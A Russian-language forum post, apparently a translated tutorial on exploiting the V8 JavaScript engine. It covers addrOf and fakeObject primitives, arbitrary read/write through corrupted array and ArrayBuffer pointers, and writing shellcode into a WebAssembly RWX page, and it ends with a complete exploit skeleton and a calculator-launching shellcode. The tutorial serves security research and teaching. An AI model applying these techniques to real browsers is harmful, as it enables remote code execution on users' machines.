• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Серия эксплуатации V8 - часть 6

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265

Введение

В моем предыдущем посте я говорил об объектах JavaScript и о том, как они хранятся в куче. Теперь я собираюсь поговорить о примитивах эксплуатации, которые используют метаданные в этих объектах, чтобы предоставить нам произвольное чтение/запись и использовать это для запуска произвольного кода. Я собираюсь предположить, что читатель уже знаком с общими методами эксплуатации бинарных файлов. Однако для понимания этого поста не требуется слишком много опыта.

Когда дело доходит до эксплуатации движка JS, мы должны помнить, что наша цель — получить выполнение произвольного кода в нашей среде, поскольку она обычно изолирована. Существуют очень строгие правила для JIT-кода, потому что опасно брать ненадежные инструкции и запускать их на клиентской машине. Многие JS-движки использовались для хранения JIT-кода в rwx-страниц, что было относительно легко использовать. Все, что вам нужно было сделать, это записать свой шелл-код в виде массива, а затем перенаправить поток управления на этот адрес. ASLR использовался, чтобы смягчить это, но heap-spray означал, что вам просто нужно было несколько раз попытаться попасть в ваш шелл-код. Были введены и другие меры по смягчению последствий, но теперь эти области памяти w^x для JavaScript. Однако в настоящее время они все еще rwx для JIT-кода WebAssembly по состоянию на декабрь 2020 года. Это означает, что для эксплуатации есть несколько новых, менее интересных маршрутов:

  1. создайте код WebAssembly и перезапишите его шеллкодом. Затем перенаправьте поток управления в это место.
  2. ROP
  3. создать код, который создает JIT-код, который будет запускать нужный нам шеллкод

Из этих трех вариантов, как правило, лучше всего использовать № 1. Однако кто точно знает , как долго эта техника продержится в V8.

Известные примитивы

Для следующих методов мы обсудим, как мы могли бы взять ошибку в V8 и поднять ее до выполнения кода. Для них мы предположим, что уязвимость дала нам возможность осуществлять произвольный доступ к массиву, не ограничиваясь границами фактической длины массива.

Сжатия указателя


Прежде чем я начну, я должен быстро вернуться к сжатию указателей. Многие прошлые примеры эксплуатации V8 не сталкивались с этим, так что относитесь ко всем компоновкам с долей скептицизма. Важные вещи, которые нужно помнить сейчас:
1. Числа с плавающей запятой представлены 64 битами
2. Указатели представлены 32 битами, последний бит - 1.
3. Целые числа представлены 31 битом, за которым следует бит 0.
4. Вы можете использовать BigInt для преобразования между 64-битными целыми и плавающими числами.
5. Тип массива определяет, будет ли "слот" 64 бита или 32 бита.

AddrOf

В моем последнем посте я говорил о том, что массивы — это просто объекты, и что происходит, когда мы храним в массиве целые числа и числа с плавающей запятой. Теперь давайте рассмотрим хранение объектов в массиве. 🤯 Как мы можем использовать это, чтобы получить его адрес?


JavaScript:
oob_array = [1.1, 2.2, 3.3, 4.4, 5.5];
victim = [{}, {}, {}, {}, {}];

// trigger some vulnerability to get OOB access

// place target object in victim array
victim[0] = a;

// float representation of TaggedPtr to a
console.log(lower_32(float_to_int(oob_array[8]));



Это очень простой пример со смещениями и другими предположениями, которые на самом деле могут не соответствовать действительности, но это основной принцип. Помните, как объекты хранятся в куче. Для упакованных массивов у нас будет объект, за которым следуют элементы. Объект состоит из 3 указателей и SMI. В этом примере я предполагаю, что макет выглядит следующим образом:

Код:
        4 bytes      
+--------------------+    <- begin oob_array's backing store
-       map ptr      -
+--------------------+
-   length of store  -
+--------------------+
-    oob_array[0]    -
+--------------------+
-    oob_array[0]    -
+--------------------+
...
+--------------------+
-    oob_array[4]    -
+--------------------+
-    oob_array[4]    -
+--------------------+    <- begin victim
-       map ptr      -
+--------------------+
-   properties ptr   -
+--------------------+
-  backing store ptr -    ----------------------------------
+--------------------+                                      |
-   length of array  -                                      |
+--------------------+    <- begin victim's backing store <-
-       map ptr      -
+--------------------+
-   length of store  -
+--------------------+
-      victim[0]     -    <- pointer to a, oob_array[8] lower_32
+--------------------+
-      victim[1]     -    <- oob_array[8] upper_32
+--------------------+
...

Это предположение может отличаться, если макет объекта изменится в V8. Также весьма вероятно, что в каждом массиве будет свободное место с пустыми слотами для будущих значений. Идея состоит в том, что victim-массив хранит объекты, но oob_array числа с плавающей точкой. Следовательно, используя наш OOB-доступ, можно прочитать адрес как будто там float. Затем мы можем декодировать это в целое число и вычесть 1, чтобы получить фактический адрес памяти.

Здесь можно задать один вопрос: почему oob_array состоит из float? Не проще ли просто использовать целые числа и забыть о преобразовании с плавающей точкой? Из-за сжатия указателя целые числа на самом деле представлены 31 битом, а младший бит всегда равен 0. Это серьезная проблема при попытке чтения/записи указателей, младший бит которых всегда равен 1. К счастью, числа с плавающей запятой могут заканчиваться на любой из них и сохраняются в данном случае на одной линии с объектом, потому что мы создали «упакованный» массив, состоящий исключительно из чисел с плавающей точкой.
Мы можем использовать этот примитив для поиска важных адресов, которые понадобятся позже в процессе эксплуатации.

FakeObject

Другой потенциально полезный примитив — это возможность создавать так называемые «фальшивые объекты» в определенных местах памяти. Мы можем сделать это, используя ту же структуру памяти, что и раньше, но перезаписывая адрес нашего объекта, а не читая его.

JavaScript:
oob_array = [1.1, 2.2, 3.3, 4.4, 5.5];
victim = [{}, {}, {}, {}, {}];

// trigger some vulnerability to get OOB access

// place target object in victim array
victim[0] = a;

oob_array[8] = int_to_float(address_we_want + 1);

return victim[0];


Теперь, когда мы попытаемся получить доступ к b[0], мы больше не будем ссылаться на a, но вместо этого на наш поддельный объект. Тем не менее, нам все равно нужно иметь действующую структуру, чтобы разыменовать ее ( см. мой последний пост ). Это означает, что вы можете сделать что-то вроде создания 2 объектов, получить их адреса с помощью последнего примитива и переключить их. Это может быть полезно, если вы хотите поменять местами карту объекта, резервное хранилище, длину и т. д.

Произвольный R/W

Мы хотим упростить чтение/запись любого адреса в памяти. Идея здесь очень похожа на последний набор примитивов, за исключением того, что мы больше не будем перезаписывать что-то в резервном хранилище массива-жертвы. Вместо этого нам нужно будет перезаписать указатель резервного хранилища фактического объекта. Если вы посмотрите на последнюю диаграмму, вы увидите, куда обычно указывает указатель резервного хранилища объекта-жертвы, который находится сразу за концом самого объекта. Однако если мы перезапишем этот указатель, то сможем указать V8 обращаться к элементам в любом месте памяти. На данный момент мы можем читать/записывать любой адрес памяти, обращаясь к этому массиву как обычно. В этом случае массив жертвы представляет собой массив упакованных чисел с плавающей запятой.

JavaScript:
oob_array = [1.1, 2.2, 3.3, 4.4, 5.5];
victim = [1.1, 2.2, 3.3, 4.4, 5.5];

// trigger some vulnerability to get OOB access
 
function arb_read(addr) {
    // we need to subtract 8 because a backing store starts with 2, 4-byte pointers
    oob_array[6] = int_to_float((addr + 1) - 8);
 
    return float_to_int(victim[0]);
}

function arb_write(addr, val) {
    // we need to subtract 8 because a backing store starts with 2, 4-byte pointers
    oob_array[6] = int_to_float((addr + 1) - 8);
 
    victim[0] = int_to_float(val);
}

Примечание. Возможно, вы заметили и в предыдущих примерах, что перезапись указателей в виде чисел с плавающей запятой на самом деле разрушает соседний указатель, потому что числа с плавающей запятой имеют размер 8 байтов, а указатели — 4 байта. В реальной эксплуатации необходимо позаботиться о сохранении соседнего указателя.


Для этого примера сохраняется та же структура памяти, что и раньше, поэтому вы можете использовать эту диаграмму, чтобы лучше понять этот пример.

Конечно, нет единственно правильного ответа, чтобы добраться до этого примитива. Это только тот, который обычно используется. Дополнительные примеры см. в тематических исследованиях, которые у меня есть в части 1 этой серии.

Примечание. Если вам интересно узнать о других движках, у Сэмюэля Гросса есть отличная статья об этом процессе для Safari .

Также важно отметить, что с этим методом у нас действительно нет произвольного чтения/записи, потому что V8 использует 32-битные указатели в 64-битном процессе. Нам нужно будет изменить базовый адрес для доступа к адресам за пределами этого диапазона. Для этого нам нужно взглянуть на ArrayBuffers.

ArrayBuffers — это еще одна «сущность» в JavaScript, которая во многом похожа на массив, но позволяет упростить запись двоичных данных. Как я упоминал ранее, массивы могут изменять способ их хранения в зависимости от того, что вы в них помещаете. ArrayBuffers позволяют включать двоичные данные в непрерывную область памяти. Таким образом, теоретически, если бы мы могли разместить резервное хранилище ArrayBuffer в произвольном месте памяти, мы могли бы определить размер каждого индекса равным 1, 2, 4 или 8 байтам для удобства чтения/записи. Мы также можем указать, хотим ли мы работать с целыми числами, числами с плавающей запятой и т. д., не беспокоясь о том, что они станут "holey" Это просто гораздо более удобная и стабильная структура для того, что мы пытаемся сделать. Самое приятное то, что, в отличие от резервного хранилища массива с плавающей запятой, резервное хранилище ArrayBuffer представляет собой 64-битный указатель!

Для любого адреса, который мы хотим читать/записывать, нам нужно разместить резервное хранилище нашего ArrayBuffer в этом месте. Другой удобный аспект ArrayBuffer заключается в том, что в его резервном хранилище нет указателей, которые нам нужно пропустить, поэтому мы можем просто использовать точную ячейку памяти (и добавить 1, чтобы показать, что это указатель). Затем мы просто сообщаем ArrayBuffer, как читать/записывать эту память, и предоставляем индекс. Супер просто! Вот пример использования DataView в качестве наложения.

JavaScript:
// create ArrayBuffer and dataview
buf = new ArrayBuffer(NUM_BYTES);
dataview = new DataView(buf);

// get the address of buf's backing store
buf_addr = addrOf(buf);
backing_store_addr = buf_addr + 0x14n;

// overwrite the backing store pointer with a pointer to our desired memory location
arb_write(backing_store_addr + 1, RW_MEM_LOCATION);

// write dword to RW_MEM_LOCATION
dataview.setUint32(0, 0x41424344, true);



Перезапись памяти WASM



Arbitrary R/W — мощный примитив, и он позволяет нам выполнять самый простой из наших 3-х методов, упомянутых в начале этой статьи. Здесь я опишу путь его использования для написания шелл-кода на RWX-страницу, предназначенную для запуска WebAssembly. Очевидно, это начинается с добавления WebAssembly в наш скрипт! Как указывает Сайед Фараз Абрар в своем посте, вы можете использовать WasmFiddle и опцию «Code Buffer», чтобы получить начальный код для модуля WebAssembly в JavaScript. Настоящий wasm_codeбайт-код не имеет значения (этот пример просто возвращает 42).​


JavaScript:
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

Из проведенного мной тестирования V8 создаст область памяти RWX размером 0x1000 байт, где будет храниться сгенерированный машинный код. К сожалению, примитива AddrOf недостаточно, чтобы получить этот адрес напрямую. К счастью, этот адрес хранится в структуре экземпляра WebAssembly, который мы создали. Одна трудность в этом заключается в том, что смещение регулярно меняется между версиями V8. Однако вы можете быстро найти его с помощью GDB. Я нашел самый простой способ сделать это, запустив такой скрипт:

JavaScript:
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

%DebugPrint(f);

console.log("\nvmmap to get the RWX page address");
console.log("search -x [little_endian_address]");
console.log("Subtract the address of wasm_instance from the address of our pointer");

while(1){}

// gdb d8
// r wasm_offset_finder.js --allow-natives-syntax
// Ctrl+C


Я использую pwndbg, у которого есть очень полезные функции для поиска смещения, но определенно есть и другие способы сделать это.

Основные шаги:
  1. Найдите начальный адрес памяти страницы RWX
  2. Найдите указатель на этот адрес (сразу за адресом экземпляра WASM).
  3. Найдите смещение между этим указателем и экземпляром WASM.

Вот пример того, как я сделал это, используя %DebugPrint, vmmap, "рапечатав" память начиная с объекта wasm_instance.

1653927288000.png


1653927309300.png



1653927326100.png


Теперь мы просто делаем быстрый расчет: 0x598 - 0x530 = 0x68

Получив это смещение, мы можем заполнить такую функцию:

JavaScript:
// https://xz.aliyun.com/t/5003 (tested on ubuntu 20.04)
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e, 0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

// get address of RWX memory
rwx_page_addr = arb_read(tagInt(addrOf(wasm_instance)) + WASM_PAGE_OFFSET);

// create dataview for easy memory writing
let buf = new ArrayBuffer(shellcode.length * 4);
let dataview = new DataView(buf);

// move dataview to RWX memory
let buf_addr = addrOf(buf);
let backing_store_addr = buf_addr + 0x14n;
arb_write(tagInt(backing_store_addr), rwx_page_addr);

// copy shellcode
for (let i = 0; i < shellcode.length; i++) {
    dataview.setUint32(4 * i, shellcode[i], true);
}
 
// jump to RWX memory
f();

// credit: https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/



Наш шелл-код написан в виде 32-битных сегментов, хранящихся в массиве. Мы используем произвольные примитивы r/w для записи на страницу RWX, а затем просто копируем шелл-код. Теперь, когда мы вызываем функцию WebAssembly, вместо этого будет выполняться наш шелл-код!


Написание эксплойта


На этом этапе нам нужно собрать все наши примитивы вместе, чтобы создать скелет для типичного эксплойта. Это будет включать некоторые вспомогательные функции, функции, в которых мы можем создавать наши примитивы, базовые массивы и компонент WASM. Вы можете следовать моему полному примеру exploit_skeleton.js:

JavaScript:
///////////////////////////////////////////////////////////// Offsets Needed for Exploit ////////////////////////////////////////////////////////////

DEBUG = false;

TRIGGERED_INDEX_OF_OOB_LENGTH = 0;

OOB_INDEX_OF_VICTIM_SLOT = 0;
VICTIM_INDEX = 0;

OOB_INDEX_OF_ARBRW_ELEMENTS = 0;

WASM_PAGE_OFFSET = 0x0n;

////////////////////////// Create base WebAssembly Module (credit: https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/) //////////////////////////

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var wasm_func = wasm_instance.exports.main;

// https://xz.aliyun.com/t/5003 (tested on ubuntu 20.04)
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e, 0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

/////////////////////////// Helper Functions (credit: https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/) ///////////////////////////

let ab = new ArrayBuffer(8);
let fv = new Float64Array(ab);
let dv = new BigUint64Array(ab);

// Float to Integer
function f2i(f) {
    fv[0] = f;
    return dv[0];
}

// Integer to Float
function i2f(i) {
    dv[0] = BigInt(i);
    return fv[0];
}

// Integer to Tagged Integer
function tagInt(i) {
    return i | 1n;
}

// Tagged Integer to Integer
function untagInt(i) {
    return i & ~1n;
}

// Float to Tagged Float
function tagFloat(f) {
    fv[0] = f;
    dv[0] += 1n;
    return fv[0];
}

// Tagged Float to Float
function untagFloat(f) {
    fv[0] = f;
    dv[0] -= 1n;
    return fv[0];
}

// Float to double word hex
function hexprintablef(f) {
    return (f2i(f)).toString(16).padStart(16, "0");
}

// Integer to double word hex
function hexprintablei(i) {
    return (i).toString(16).padStart(16, "0");
}

// Float to word hex
function hexprintablefp(f) {
    return (lowerhalf(f2i(f))).toString(16).padStart(8, "0");
}

// Integer to word hex
function hexprintableip(i) {
    return (lowerhalf(i)).toString(16).padStart(8, "0");
}

function upperhalf(i) {
    return i / 0x100000000n;
}

function lowerhalf(i) {
    return i % 0x100000000n;

}

function shift32(i) {
    return i << 32n;
}

/////////////////////////////////////////////////////////////// Array Length Extension //////////////////////////////////////////////////////////////

function newArrayLen(new_len) {
    old_len = triggered[TRIGGERED_INDEX_OF_OOB_LENGTH];
    triggered[TRIGGERED_INDEX_OF_OOB_LENGTH] = new_len;
    
    if (DEBUG) {
        if (oob.length != new_len) {
            console.log("Length change unsuccessful");
        } else {
            console.log("Length changed from " + old_len + " to " + new_len);
        }
    }
    
    return old_len;
}

/////////////////////////////////////////////////////////// AddrOf / FakeObject Primitives //////////////////////////////////////////////////////////

function addrOf(o) {
    // swap objects
    old_object = victim[VICTIM_INDEX];
    victim[VICTIM_INDEX] = o;

    // read the object's address
    obj_addr = lowerhalf(untagInt(f2i(oob[OOB_INDEX_OF_VICTIM_SLOT])));
    
    // restore object
    victim[VICTIM_INDEX] = old_object;
    
    if (DEBUG) {
        console.log("Address we got: " + hexprintableip(obj_addr));
        console.log("Debug info for object");
        %DebugPrint(o);
    }
    
    return obj_addr;
}

function fakeObject(addr) {
    if (DEBUG) {
        obj_addr = untagInt(lowerhalf(f2i(oob[OOB_INDEX_OF_VICTIM_SLOT])));
        console.log("Old object address for element " + VICTIM_INDEX + ": " + hexprintableip(obj_addr));
        console.log("Debug info for victim before overwrite");
        %DebugPrint(victim);    // check addresses of elements
    }
    
    // store fake object in victim array
    new_addr = tagInt(addr);
    oob[OOB_INDEX_OF_VICTIM_SLOT] = i2f(new_addr);
    
    if (DEBUG) {
        console.log("Debug info for victim after overwrite");
        %DebugPrint(victim);    // check addresses of elements
    }
    
    return victim[VICTIM_INDEX];
}

////////////////////////////////////////////////////////////// Arbitrary R/W Primitives /////////////////////////////////////////////////////////////

function arb_read(addr) {
    if (DEBUG) {
        console.log("Old length: " + arb_rw.length);
    }
    
    elements_addr = f2i(oob[OOB_INDEX_OF_ARBRW_ELEMENTS]);    // found from for loop
    elements_addr_upper = upperhalf(elements_addr);    // get upper 32 bits (size of backing store, modify this to extend reads/writes)
    elements_addr_lower = lowerhalf(elements_addr);    // get lower 32 bits
    new_elements_addr = shift32(elements_addr_upper * 2n) + tagInt(addr - 8n);    // don't need to increase length here, but you can
    oob[OOB_INDEX_OF_ARBRW_ELEMENTS] = i2f(new_elements_addr);
    
    if (DEBUG) {
        console.log("New length: " + arb_rw.length);    // verify the length is 2x original
    }
    
    val = f2i(arb_rw[0]);
    
    oob[OOB_INDEX_OF_ARBRW_ELEMENTS] = i2f(elements_addr);    // restore old address and length
    if (DEBUG) {
        %DebugPrint(arb_rw);    // verify we fixed this properly
    }
    
    return val;
}

function arb_write(addr, val) {
    if (DEBUG) {
        console.log("Old length: " + arb_rw.length);
    }
    
    elements_addr = f2i(oob[OOB_INDEX_OF_ARBRW_ELEMENTS]);    // found from for loop
    elements_addr_upper = upperhalf(elements_addr);    // get upper 32 bits (size of backing store, modify this to extend reads/writes)
    elements_addr_lower = lowerhalf(elements_addr);    // get lower 32 bits
    new_elements_addr = shift32(elements_addr_upper * 2n) + tagInt(addr - 8n);    // don't need to increase length here, but you can
    oob[OOB_INDEX_OF_ARBRW_ELEMENTS] = i2f(new_elements_addr);
    
    if (DEBUG) {
        console.log("New length: " + arb_rw.length);    // verify the length is 2x original
    }
    
    arb_rw[0] = i2f(val)
    
    oob[OOB_INDEX_OF_ARBRW_ELEMENTS] = i2f(elements_addr);    // restore old address and length
    if (DEBUG) {
        %DebugPrint(arb_rw);    // verify we fixed this properly
    }
}

///////////////////////////////////////////////////////// Function to Trigger Vulnerability /////////////////////////////////////////////////////////

function trigger() {
    array = [1]; // create OOB on this
    return [array, [1.1], [{}, {}, {}, {}], [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8]];
};

///////////////////////////////////////////////////////// Function to Trigger Vulnerability /////////////////////////////////////////////////////////

for (let i = 0; i < 50000; ++i) {
    trigger();
}

//////////////////////////////////////////////////////// Create Global Arrays for Primitives ////////////////////////////////////////////////////////

var arrays = trigger();
var triggered = arrays[0];
var oob = arrays[1];
var victim = arrays[2];
var arb_rw = arrays[3];

arrays = trigger();

newArrayLen(0x1000);

////////////////////// Use Primitives to Overwrite WASM Page (credit: https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/) //////////////////////

// get address of RWX memory
rwx_page_addr = arb_read(tagInt(addrOf(wasm_instance)) + WASM_PAGE_OFFSET);

if (DEBUG) {
    console.log("RWX page: " + hexprintablei(rwx_page_addr));
    console.log("Debug info for wasm_instance");
    %DebugPrint(wasm_instance);
}

// create dataview for easy memory writing
let buf = new ArrayBuffer(shellcode.length * 4);
let dataview = new DataView(buf);

// move dataview to RWX memory
let buf_addr = addrOf(buf);
let backing_store_addr = buf_addr + 0x14n;
arb_write(tagInt(backing_store_addr), rwx_page_addr);

// copy shellcode
for (let i = 0; i < shellcode.length; i++) {
    dataview.setUint32(4 * i, shellcode[i], true);
}
    
// jump to RWX memory
wasm_func();
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

Скелет эксплойта, который я написал, предназначен для использования ошибок типизатора, которые могут получить OOB-доступ к массиву. При этом многие примитивы работают точно так же для ошибок, связанных с путаницей карт. Скелет требует найти ошибку, которая может достичь этого примитива, а также смещения, необходимые для перезаписи соответствующих полей в наших объектах кучи. Это лучше всего понять, взглянув на пример, который я написал здесь .

Вспомогательные функции

Эти вспомогательные функции показывают основное использование ArrayBuffers с использованием типизированных массивов и то, как вы можете преобразовать одну и ту же область памяти между целыми числами и числами с плавающей запятой. Есть также несколько функций для работы с 32-битными и 64-битными данными и другими функциями для сжатия указателей. Здесь гораздо больше функций, чем вы обычно используете, но они могут пригодиться.

JavaScript:
let ab = new ArrayBuffer(8);
let fv = new Float64Array(ab);
let dv = new BigUint64Array(ab);

// Float to Integer
function f2i(f) {
    fv[0] = f;
    return dv[0];
}

// Integer to Float
function i2f(i) {
    dv[0] = BigInt(i);
    return fv[0];
}

// Integer to Tagged Integer
function tagInt(i) {
    return i | 1n;
}

// Tagged Integer to Integer
function untagInt(i) {
    return i & ~1n;
}

// Float to Tagged Float
function tagFloat(f) {
    fv[0] = f;
    dv[0] += 1n;
    return fv[0];
}

// Tagged Float to Float
function untagFloat(f) {
    fv[0] = f;
    dv[0] -= 1n;
    return fv[0];
}

// Float to double word hex
function hexprintablef(f) {
    return (f2i(f)).toString(16).padStart(16, "0");
}

// Integer to double word hex
function hexprintablei(i) {
    return (i).toString(16).padStart(16, "0");
}

// Float to word hex
function hexprintablefp(f) {
    return (lowerhalf(f2i(f))).toString(16).padStart(8, "0");
}

// Integer to word hex
function hexprintableip(i) {
    return (lowerhalf(i)).toString(16).padStart(8, "0");
}

function upperhalf(i) {
    return i / 0x100000000n;
}

function lowerhalf(i) {
    return i % 0x100000000n;

}

function shift32(i) {
    return i << 32n;
}

Стабилизация эксплойта

Одна повторяющаяся тема в эксплуатации V8 заключается в том, что вы редко пытаетесь активировать настоящую уязвимость. Очевидно, вам нужно сделать это хотя бы один раз, но дополнительные итерации увеличивают вероятность того, что вы получите непредвиденную структуру кучи, столкнетесь с проблемами со сборщиком мусора или вызовете какой-либо другой сбой. Это означает, что, в отличие от наших предыдущих примеров, вы должны попытаться создать глобальные переменные для примитивов эксплуатации. Таким образом, у вас будет твердая структура кучи, и вам нужно будет активировать уязвимость только один раз.

Другая проблема, с которой вы можете столкнуться, заключается в том, что уязвимость не обеспечивает большой доступ вне сети. В этом случае вы можете перезаписать длину соседнего массива. Простой способ сделать это состоит в том, чтобы исходный массив OOB состоял из целых чисел. Поскольку поле длины следующего массива является целым числом, вы можете легко перезаписать его, чтобы затем использовать этот массив-жертву в качестве следующего массива OOB.

JavaScript:
oob_array = [1, 2, 3, 4, 5];
victim = [{}, {}, {}, {}, {}];

// trigger some vulnerability to get OOB access

console.log(victim.length);
// 5
oob_array[9] = 10;
console.log(victim.length);
// 10


Примечание. Мы говорили о получении этих примитивов с помощью чтения/записи OOB поля длины соседнего массива, которое существует через четыре слова после конца предыдущего массива. Но что, если у нас есть возможность получить доступ только к 1 индексу за пределами длины массива? Эта запись ctf демонстрирует классную технику для этого. Что, если бы мы могли получить доступ к 2 после конца нашего массива? Тогда мы просто использовали бы массив с плавающей запятой и изменили верхние 32 бита!

Другая часть стабилизации эксплойта — восстановление старых значений, которые перезаписываются. В моем эксплойте вы заметите, что я часто восстанавливаю старые значения в структуре объекта, чтобы предотвратить случайные сбои.

Наконец, многие другие эксплойты, которые я видел, используют специальные значения маркировки, чтобы убедиться, что сгенерирован правильный макет кучи. Если вы хотите повысить надежность своего эксплойта, подумайте о том, чтобы добавить определенные плавающие элементы и убедиться, что они находятся в нужном месте после активации уязвимости.

Заключение​

Хорошо, отлично, мы можем сделать это, если сможем изменить метаданные массива, но сначала нам нужно найти способ обмануть V8, чтобы он позволил нам это сделать. Но есть и хорошие новости! Люди совершают ошибки, в том числе авторы движка JavaScript. Когда они это сделают, представится возможность написать OOB. Я опубликовал пару статей об ошибке 1051017, которые включают пошаговое руководство по созданию кода эксплойта из данного POC. Есть также несколько других примеров, связанных в первом посте этой серии. Моя цель в этой статье состояла в том, чтобы выделить дополнительное время, чтобы охватить все детали процесса эксплуатации, чтобы мои публикации и другие публичные тематические исследования имели больше смысла.


Рекомендации

Использование v8: *CTF 2019 oob-v8 Сайеда Фараза Абрара
Использование ошибки ввода Math.expm1 в V8 по адресу 0x41414141 в ?? ()
Введение в Turbofan Джереми Фетиво

Перевод вот этой статьи.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх